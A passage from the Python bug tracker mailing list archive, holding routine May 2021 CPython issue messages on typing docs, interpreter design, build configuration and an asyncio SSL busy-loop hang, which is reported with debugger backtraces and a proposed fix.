<1620139334.21.0.589335424781.issue43054@roundup.psfhosted.org> Mark Shannon added the comment: Thanks for the responses. Probably nothing to do for now. ---------- resolution: -> postponed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:44:34 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 04 May 2021 14:44:34 +0000 Subject: [issue38135] Depth first search in compile.c creates wrong BB order for certain CFG. In-Reply-To: <1568287180.55.0.964846639884.issue38135@roundup.psfhosted.org> Message-ID: <1620139474.18.0.845741426559.issue38135@roundup.psfhosted.org> Mark Shannon added the comment: This seems to have been fixed sometime. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:54:31 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 04 May 2021 14:54:31 +0000 Subject: [issue44032] Store locals and evaluation stack should be stored in a contiguous, per-thread stack Message-ID: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> New submission from Mark Shannon : Currently, the local variables (inc. cell and free vars) for functions and the evaluation stack are kept in per-activation chunks in the frame object. This is not a good design for modern hardware. The local variables and stack are amongst the hottest memory in the VM and should be stored in a contiguous stack in memory. Allocating a per-thread stack would improve memory locality considerably, and pave the way to allocating heap objects for function activations lazily, only when needed for debugging and introspection. Generators would still need heap allocated locals and stack, but that would be no worse than currently. ---------- assignee: Mark.Shannon components: Interpreter Core messages: 392906 nosy: Mark.Shannon priority: normal severity: normal status: open title: Store locals and evaluation stack should be stored in a contiguous, per-thread stack type: performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:54:54 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 04 May 2021 14:54:54 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1620140094.74.0.289212110176.issue44032@roundup.psfhosted.org> Change by Mark Shannon : ---------- title: Store locals and evaluation stack should be stored in a contiguous, per-thread stack -> Function locals and evaluation stack should be stored in a contiguous, per-thread stack _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:56:37 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 14:56:37 +0000 Subject: [issue43978] Incorrect "versionadded" info in typing.NoReturn documentation In-Reply-To: <1619720166.99.0.648507362303.issue43978@roundup.psfhosted.org> Message-ID: <1620140197.49.0.717017891707.issue43978@roundup.psfhosted.org> Ken Jin added the comment: Hi Miguel, with reference to https://github.com/python/cpython/pull/25760#issuecomment-830338306, Guido rejected the PR because he said that the current docs are correct. This is a major point of confusion for many people, but here's why a single feature can be added in 2 versions: PEP 484 (Type Hints) was initially accepted as 'Provisional' (you can see what this means in PEP 1). To spare you the details, it's a special pass for typing.py to add new features in point releases, and to backport new features to older versions - even if they aren't bugfixes! This goes against what most of CPython allows (new features usually aren't allowed to be backported). However, at the time, typing.py was pretty new, so there wasn't much existing code to break anyways. Another example is asyncio. Which has since lost its provisional status a long time ago AFAIK. typing.py became de-facto non-provisional in 3.7, though PEP 484 hasn't been updated yet. This is why you may see stuff overlapping between 3.5 and 3.6. I hope you learnt something cool :). Hope to see you around contributing to other parts of CPython! ---------- nosy: +kj resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 11:00:30 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 15:00:30 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1620140430.84.0.444591426722.issue44032@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 11:07:43 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 15:07:43 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620140863.11.0.709778462098.issue44001@roundup.psfhosted.org> Ken Jin added the comment: Jelle, thanks for fixing up the docs. You're right here - anything that can be an element in a frozenset or used as a key in a dict works. And the current docs for sets says that means anything hashable: https://docs.python.org/3/library/stdtypes.html#set-types-set-frozenset If you feel anything's amiss. Please don't hesitate to re-open this issue. ---------- nosy: +kj resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 11:12:14 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 15:12:14 +0000 Subject: [issue42067] Type annotation in for-loops In-Reply-To: <1603025846.26.0.322544281802.issue42067@roundup.psfhosted.org> Message-ID: <1620141134.21.0.0684517772761.issue42067@roundup.psfhosted.org> Ken Jin added the comment: Thanks for your input Mark! ---------- components: -Build resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 11:36:40 2021 From: report at bugs.python.org (Rahul Kumaresan) Date: Tue, 04 May 2021 15:36:40 +0000 Subject: [issue43978] Incorrect "versionadded" info in typing.NoReturn documentation In-Reply-To: <1619720166.99.0.648507362303.issue43978@roundup.psfhosted.org> Message-ID: <1620142600.42.0.217493072285.issue43978@roundup.psfhosted.org> Rahul Kumaresan added the comment: Hello Ken Jin, Thanks for this clarification! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 11:37:03 2021 From: report at bugs.python.org (Terry Davis) Date: Tue, 04 May 2021 15:37:03 +0000 Subject: [issue43624] Add underscore as a decimal separator for string formatting In-Reply-To: <1616692747.49.0.677529428018.issue43624@roundup.psfhosted.org> Message-ID: <1620142623.12.0.447050617262.issue43624@roundup.psfhosted.org> Terry Davis added the comment: If no one else has any comments, I'll assume there is consensus and start working on this. I have not contributed to CPython before, nor have I worked on production C code, so it may be a while before I get anywhere. ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 11:41:06 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 04 May 2021 15:41:06 +0000 Subject: [issue43355] __future__.annotations breaks inspect.signature() In-Reply-To: <1614614520.28.0.353733927276.issue43355@roundup.psfhosted.org> Message-ID: <1620142866.8.0.420527499527.issue43355@roundup.psfhosted.org> Jelle Zijlstra added the comment: Python 3.10 will add an eval_str= argument to inspect.signature() that lets you evaluate string annotations. I don't think it makes sense to change anything in the bugfix branches, so I propose that this issue be closed. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:01:11 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 16:01:11 +0000 Subject: [issue43978] Incorrect "versionadded" info in typing.NoReturn documentation In-Reply-To: <1619720166.99.0.648507362303.issue43978@roundup.psfhosted.org> Message-ID: <1620144071.78.0.140589734725.issue43978@roundup.psfhosted.org> Ken Jin added the comment: To answer the person who posted this on docs mailing list, after much investigation, it seems that this made it into 3.7.0, 3.5.4 and 3.6.2 . Here's the 3.7.0 (alpha) commit for the initial implementation of typing.NoReturn: https://github.com/python/cpython/commit/f06e0218ef6007667f5d61184b85a81a0466d3ae The backport to 3.6 (at the time, this was 3.6.2rc1): https://github.com/python/cpython/commit/e612c28513b406779d187e5f816445c7d40d292b The backport to 3.5 (at the time, this was 3.5.4rc1): https://github.com/python/cpython/commit/4b15e45895ca56ac5f7837cacb8cd3ccc26d1f66 I'm sorry if I got anything wrong (this is somewhat confusing for me too). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:04:48 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 04 May 2021 16:04:48 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620144288.11.0.650121566603.issue44001@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- pull_requests: +24569 pull_request: https://github.com/python/cpython/pull/25897 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:09:14 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 16:09:14 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620144554.9.0.315797746546.issue44001@roundup.psfhosted.org> Ken Jin added the comment: Well something was amiss: the 3.9 backport PR ;-). Sorry for closing this issue too early. I didn't notice there was still one more to go. ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:12:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 16:12:22 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620144742.61.0.681878275777.issue43933@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > The pytest failure still happens with 3.10.0b1 and pytest 6.2.3. What I am missing? 3.10.0b1 includes the fixes for this issue, no? Is it because the fixes still require some changes in the source? If that's the case, we should mention it in the What's New > I'm asking if pytest can make a release to update. In any case, shouldn't that be requested in the pytest issue tracker? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:30:11 2021 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 04 May 2021 16:30:11 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620145811.21.0.918330517951.issue43933@roundup.psfhosted.org> Anthony Sottile added the comment: I've released pytest 6.2.4 for the other breakage (which is unrelated to this bpo -- it was the asname source position issue) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:48:49 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 16:48:49 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620146929.01.0.149379616936.issue44001@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset ab0a54adad8ddf488ccfb92970be9e4027673d19 by Jelle Zijlstra in branch '3.9': [3.9] bpo-44001: improve Literal documentation (GH-25877). (#25897) https://github.com/python/cpython/commit/ab0a54adad8ddf488ccfb92970be9e4027673d19 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:51:35 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 04 May 2021 16:51:35 +0000 Subject: [issue44033] Adding multiple keys of the same name to a dict doesn't raise an exception Message-ID: <1620147095.86.0.59311867828.issue44033@roundup.psfhosted.org> New submission from Shreyan Avigyan : Adding multiple keys of the same name to a dict should raise an exception but instead causes a different behavior. For example consider this code, >>> d = {"x" : "First value", "x" : "Second value", "y" : "Third value"} One would expect a error because there two keys with the same name or that Python will add "x" : "First value" and will skip "x" : "Second value". But the result is opposite, >>> d {'x': 'Second value', 'y': 'Third value'} Is this a bug or is this an intended behavior? (I may have missed out information related to this in the documentation. Kindly correct me if that's the case.) ---------- messages: 392918 nosy: shreyanavigyan priority: normal severity: normal status: open title: Adding multiple keys of the same name to a dict doesn't raise an exception type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:58:34 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 16:58:34 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied Message-ID: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : I have installed autoconf-archive and autoconf 2.69 and tried to regenerate the configure script and it fails: $ ls /share/aclocal/ax_* | wc -l 572 $ autoconf --version autoconf (GNU Autoconf) 2.69 Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+/Autoconf: GNU GPL version 3 or later , This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by David J. MacKenzie and Akim Demaille. $ autoreconf -v -f -i autoreconf: Entering directory `.' autoreconf: configure.ac: not using Gettext autoreconf: running: aclocal --force autoreconf: configure.ac: tracing autoreconf: configure.ac: not using Libtool autoreconf: running: /opt/bb/bin/autoconf --force autoreconf: running: /opt/bb/bin/autoheader --force autoreconf: configure.ac: not using Automake autoreconf: Leaving directory `.' $ ./configure configure: error: Please install autoconf-archive package and re-run autoreconf ---------- messages: 392920 nosy: christian.heimes, pablogsal priority: normal severity: normal status: open title: Regenerating the configure script fails even if dependencies are satisfied _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:58:33 2021 From: report at bugs.python.org (Backbench Family) Date: Tue, 04 May 2021 16:58:33 +0000 Subject: [issue44034] Incorrect type casting of float into int Message-ID: <1620147513.11.0.38970557678.issue44034@roundup.psfhosted.org> New submission from Backbench Family : y = int(1.999999999999999) # fifteen decimal points print(y) 1 # output is 1 y = int(1.9999999999999999) # sixteen decimal points print(y) 2 # output is 2 It shows 1 when we type fifteen decimal whereas when we add sixteen decimal points the output becomes 2. ---------- components: Windows messages: 392919 nosy: hbutt4319, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Incorrect type casting of float into int type: compile error versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 12:59:06 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 16:59:06 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620147546.6.0.3645556154.issue44035@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Reverting https://github.com/python/cpython/commit/5d6e8c1c1a5f667cdce99cb3c563ac922198678d works ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:06:07 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 17:06:07 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620147967.46.0.872290073296.issue44035@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Also: grep -r AX_C_FLOAT_WORDS_BIGENDIAN /share/aclocal/ ax_c_float_words_bigendian.m4:# AX_C_FLOAT_WORDS_BIGENDIAN([ACTION-IF-TRUE], [ACTION-IF-FALSE], [ACTION-IF-UNKNOWN]) ax_c_float_words_bigendian.m4:AC_DEFUN([AX_C_FLOAT_WORDS_BIGENDIAN], ax_c_float_words_bigendian.m4:])# AX_C_FLOAT_WORDS_BIGENDIAN ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:19:04 2021 From: report at bugs.python.org (ghost43) Date: Tue, 04 May 2021 17:19:04 +0000 Subject: [issue44036] asyncio SSL server can be DOSed, event loop gets blocked: busy loops and uses 100% CPU Message-ID: <1620148744.77.0.874589771286.issue44036@roundup.psfhosted.org> New submission from ghost43 : This is about a potential DOS vector that can get an asyncio server serving SSL connections to enter a busy loop and hang. To recover the server (python process) needs to be restarted. See downstream report at https://github.com/spesmilo/electrumx/issues/92 ElectrumX is server software that serves JSON-RPC requests either directly over plaintext TCP or over SSL/TLS (no HTTP involved). The server code is written using asyncio. The most popular client is also written using python+asyncio. However, there are other server implementations (e.g. in Rust), and other clients (e.g. in javascript, scala, java). The servers are part of a federated network and peer with each other. In the last 1+ year, server operators have started reporting that the python process (of ElectrumX) sporadically hangs: it uses 100% CPU and stops serving clients or accepting new connections. The only way we could find to recover is restarting the server (the python process); waiting for even days did not help, python was stuck. The hang seemed to mostly happen on busy servers that serve several thousands of concurrent sessions, and even on those only happened e.g. once a month. So the hang was difficult to reproduce. Nevertheless we observed that the hang only happens if it is the asyncio server that handles SSL, i.e. if the server operator put nginx in front of the python process and handles SSL termination in nginx, they would be unaffected. One server operator whose server at one point hanged multiple times a day confirmed this, and reported that nginx subsequently started logging lines like this: ``` 2021/01/11 02:28:30 [crit] 21#21: *437620 SSL_shutdown() failed (SSL: error:14094123:SSL routines:ssl3_read_bytes:application data after close notify) while proxying connection, client: REDACTED, server: 0.0.0.0:50002, upstream: "127.0.0.1:50213", bytes from/to client:81/205, bytes from/to upstream:205/0 ``` Over these last months, the hang has been reproduced on many different python versions by different people, e.g. 3.7.1, 3.7.5, 3.8.5, 3.9.1, 3.9.4. A few days ago, many servers hanged almost simultaneously, and when restarted, they would soon hang again at most a few hours later. Presumably someone either flooded the network with buggy clients, or it might have been an attack. Anyway, this allowed me to look into this better. I set up gdb and waited. This was on ubuntu 20.04 with python 3.8.5 and openssl=1.1.1f-1ubuntu2.3. It seems the event loop thread is stuck in a busy loop. The deepest common stack frame looks to be at https://github.com/python/cpython/blob/v3.8.5/Lib/asyncio/sslproto.py#L675 ``` (gdb) py-bt Traceback (most recent call first): File "/usr/lib/python3.8/asyncio/sslproto.py", line 535, in feed_appdata File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog ssldata, offset = self._sslpipe.feed_appdata(data, offset) File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata self._process_write_backlog() File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write self._ssl_protocol._write_appdata(data) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write self._asyncio_transport.write(framed_message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message await self.transport.write(message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request await self._send_message(message) File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run self._context.run(self._callback, *self._args) File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once --Type for more, q to quit, c to continue without paging-- File "/usr/lib/python3.8/asyncio/base_events.py", line 826, in run_forever None, getaddr_func, host, port, family, type, proto, flags) File "/usr/lib/python3.8/asyncio/base_events.py", line 603, in run_until_complete self.run_forever() File "/usr/lib/python3.8/asyncio/runners.py", line 299, in run File "/usr/local/bin/electrumx_server", line 35, in main asyncio.run(controller.run()) File "/usr/local/bin/electrumx_server", line 43, in main() ``` ``` (gdb) py-list 530 except (SystemExit, KeyboardInterrupt): 531 raise 532 except BaseException as e: 533 self._fatal_error(e, 'SSL error in data received') 534 return >535 536 for chunk in ssldata: 537 self._transport.write(chunk) 538 539 for chunk in appdata: 540 if chunk: ``` ``` (gdb) py-locals self = <_SSLPipe(_context=, _server_side=True, _server_hostname=None, _state='WRAPPED', _incoming=<_ssl.MemoryBIO at remote 0x7f09cc0925b0>, _outgoing=<_ssl.MemoryBIO at remote 0x7f09b919c430>, _sslobj=) at remote 0x7f09db428910>, _need_ssldata=False, _handshake_cb=, _shutdown_cb=None) at remote 0x7f09db43f160> data = b'{"jsonrpc": "2.0", "result": null, "id": 18}\n' offset = 0 ssldata = [b'\x17\x03\x03\x00\x13<\x8fh\x93\xd3\xd7M\xb9\xbd\xb6\xad\x08\x1bZ\x857\x0c\xe4\xac'] view = exc_errno = 5 ``` ``` (gdb) cont Continuing. ^C Thread 1 "electrumx_serve" received signal SIGINT, Interrupt. memory_getbuf (self=0x7f09b69a3880, view=0x7ffcb6829200, flags=0) at ../Objects/memoryobject.c:1441 1441 ../Objects/memoryobject.c: No such file or directory. (gdb) py-bt Traceback (most recent call first): File "/usr/lib/python3.8/ssl.py", line 897, in write return self._sslobj.write(data) File "/usr/lib/python3.8/asyncio/sslproto.py", line 262, in feed_appdata offset += self._sslobj.write(view[offset:]) File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog ssldata, offset = self._sslpipe.feed_appdata(data, offset) File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata self._process_write_backlog() File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write self._ssl_protocol._write_appdata(data) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write self._asyncio_transport.write(framed_message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message await self.transport.write(message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request await self._send_message(message) File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run --Type for more, q to quit, c to continue without paging-- self._context.run(self._callback, *self._args) File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once File "/usr/lib/python3.8/asyncio/base_events.py", line 826, in run_forever None, getaddr_func, host, port, family, type, proto, flags) File "/usr/lib/python3.8/asyncio/base_events.py", line 603, in run_until_complete self.run_forever() File "/usr/lib/python3.8/asyncio/runners.py", line 299, in run File "/usr/local/bin/electrumx_server", line 35, in main asyncio.run(controller.run()) File "/usr/local/bin/electrumx_server", line 43, in main() (gdb) (gdb) cont Continuing. ^C (gdb) py-bt Traceback (most recent call first): File "/usr/lib/python3.8/asyncio/sslproto.py", line 535, in feed_appdata File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog ssldata, offset = self._sslpipe.feed_appdata(data, offset) File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata self._process_write_backlog() File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write self._ssl_protocol._write_appdata(data) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write self._asyncio_transport.write(framed_message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message await self.transport.write(message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request await self._send_message(message) File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run self._context.run(self._callback, *self._args) --Type for more, q to quit, c to continue without paging-- File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once File "/usr/lib/python3.8/asyncio/base_events.py", line 826, in run_forever None, getaddr_func, host, port, family, type, proto, flags) File "/usr/lib/python3.8/asyncio/base_events.py", line 603, in run_until_complete self.run_forever() File "/usr/lib/python3.8/asyncio/runners.py", line 299, in run File "/usr/local/bin/electrumx_server", line 35, in main asyncio.run(controller.run()) File "/usr/local/bin/electrumx_server", line 43, in main() main() (gdb) cont Continuing. ^C Thread 1 "electrumx_serve" received signal SIGINT, Interrupt. PySlice_New (start=0, stop=None, step=0x0) at ../Objects/sliceobject.c:123 123 ../Objects/sliceobject.c: No such file or directory. (gdb) Continuing. ^C Thread 1 "electrumx_serve" received signal SIGINT, Interrupt. 0x00000000005d4390 in long_richcompare ( self=, __doc__='An enumeration.', __module__='ssl', _member_names_=['SSL_ERROR_SSL', 'SSL_ERROR_WANT_READ', 'SSL_ERROR_WANT_WRITE', 'SSL_ERROR_WANT_X509_LOOKUP', 'SSL_ERROR_SYSCALL', 'SSL_ERROR_ZERO_RETURN', 'SSL_ERROR_WANT_CONNECT', 'SSL_ERROR_EOF', 'SSL_ERROR_INVALID_ERROR_CODE'], _member_map_={'SSL_ERROR_SSL': ) at remote 0x7f0a3487fe00>, 'SSL_ERROR_WANT_READ': ) at remote 0x7f0a3487fe80>, 'SSL_ERROR_WANT_WRITE': ) at remote 0x7f0a3487ff00>, 'SSL_ERROR_WANT_X509_LOOKUP': ) at remote 0x7f0a3487ff80>, 'SSL_ERROR_SYSCALL': <...>, 'SSL_ERROR_ZERO_RETURN': File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run self._context.run(self._callback, *self._args) File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once --Type for more, q to quit, c to continue without paging-- (gdb) (gdb) cont Continuing. ^C Thread 1 "electrumx_serve" received signal SIGINT, Interrupt. 0x00000000004f7fa0 in builtin_len (module=, obj=) at ../Objects/longobject.c:61 61 ../Objects/longobject.c: No such file or directory. (gdb) py-bt Traceback (most recent call first): File "/usr/lib/python3.8/asyncio/sslproto.py", line 535, in feed_appdata File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog ssldata, offset = self._sslpipe.feed_appdata(data, offset) File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata self._process_write_backlog() File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write self._ssl_protocol._write_appdata(data) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write self._asyncio_transport.write(framed_message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message await self.transport.write(message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request await self._send_message(message) File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run self._context.run(self._callback, *self._args) --Type for more, q to quit, c to continue without paging-- (gdb) cont Continuing. ^C Thread 1 "electrumx_serve" received signal SIGINT, Interrupt. PyType_IsSubtype (b=0x907020 <_PyNone_Type>, a=0x90a860 ) at ../Objects/typeobject.c:1370 1370 ../Objects/typeobject.c: No such file or directory. (gdb) py-bt Traceback (most recent call first): File "/usr/lib/python3.8/asyncio/sslproto.py", line 268, in feed_appdata if exc.reason == 'PROTOCOL_IS_SHUTDOWN': File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog ssldata, offset = self._sslpipe.feed_appdata(data, offset) File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata self._process_write_backlog() File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write self._ssl_protocol._write_appdata(data) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write self._asyncio_transport.write(framed_message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message await self.transport.write(message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request await self._send_message(message) File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run self._context.run(self._callback, *self._args) File "/usr/lib/python3.8/asyncio/base_events.py", line 2627, in _run_once --Type for more, q to quit, c to continue without paging-- (gdb) cont Continuing. ^C Thread 1 "electrumx_serve" received signal SIGINT, Interrupt. __GI___errno_location () at errno-loc.c:25 25 errno-loc.c: No such file or directory. (gdb) py-bt Traceback (most recent call first): File "/usr/lib/python3.8/ssl.py", line 897, in write return self._sslobj.write(data) File "/usr/lib/python3.8/asyncio/sslproto.py", line 262, in feed_appdata offset += self._sslobj.write(view[offset:]) File "/usr/lib/python3.8/asyncio/sslproto.py", line 675, in _process_write_backlog ssldata, offset = self._sslpipe.feed_appdata(data, offset) File "/usr/lib/python3.8/asyncio/sslproto.py", line 599, in _write_appdata self._process_write_backlog() File "/usr/lib/python3.8/asyncio/sslproto.py", line 387, in write self._ssl_protocol._write_appdata(data) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/rawsocket.py", line 118, in write self._asyncio_transport.write(framed_message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 153, in _send_message await self.transport.write(message) File "/usr/local/lib/python3.8/dist-packages/aiorpcx/session.py", line 496, in _throttled_request await self._send_message(message) File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run ``` Note that around line https://github.com/python/cpython/blob/v3.8.5/Lib/asyncio/sslproto.py#L262, exc_errno = 5 corresponds to `ssl.SSL_ERROR_SYSCALL`. Considering the gdb backtraces above, it seems to me the execution is stuck in that while loop, always getting `ssl.SSL_ERROR_SYSCALL` and suppressing it. Note that this code is not async, so the whole event loop is blocked. I have patched my python interpreter to not suppress that exception but instead re-raise it, and recompiled; and the hangs have gone away; I can no longer reproduce them. I used the following patch on top of 3.9.4 (but note the code in this file has not changed for years): ``` Lib/asyncio/sslproto.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Lib/asyncio/sslproto.py b/Lib/asyncio/sslproto.py index cad25b2653..f67898a777 100644 --- a/Lib/asyncio/sslproto.py +++ b/Lib/asyncio/sslproto.py @@ -267,8 +267,7 @@ class _SSLPipe(object): if exc.reason == 'PROTOCOL_IS_SHUTDOWN': exc_errno = exc.errno = ssl.SSL_ERROR_WANT_READ if exc_errno not in (ssl.SSL_ERROR_WANT_READ, - ssl.SSL_ERROR_WANT_WRITE, - ssl.SSL_ERROR_SYSCALL): + ssl.SSL_ERROR_WANT_WRITE): raise self._need_ssldata = (exc_errno == ssl.SSL_ERROR_WANT_READ) ``` Frankly I don't understand why the `ssl.SSL_ERROR_SYSCALL` error is special cased in the try-except, hence this might break something else. The git blame or the python docs were of no help either (to understand that exception). However with this patch my server seems to be working correctly and is no longer getting stuck. Unfortunately I don't have code that triggers the hang. ---------- assignee: christian.heimes components: SSL, asyncio messages: 392923 nosy: asvetlov, christian.heimes, ghost43, yselivanov priority: normal severity: normal status: open title: asyncio SSL server can be DOSed, event loop gets blocked: busy loops and uses 100% CPU type: security versions: Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:24:20 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 04 May 2021 17:24:20 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620149060.87.0.368920349315.issue44035@roundup.psfhosted.org> Christian Heimes added the comment: Dpes /opt/bb/bin/autoconf pick up the files in /share/aclocal? Both are rather unusual file locations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 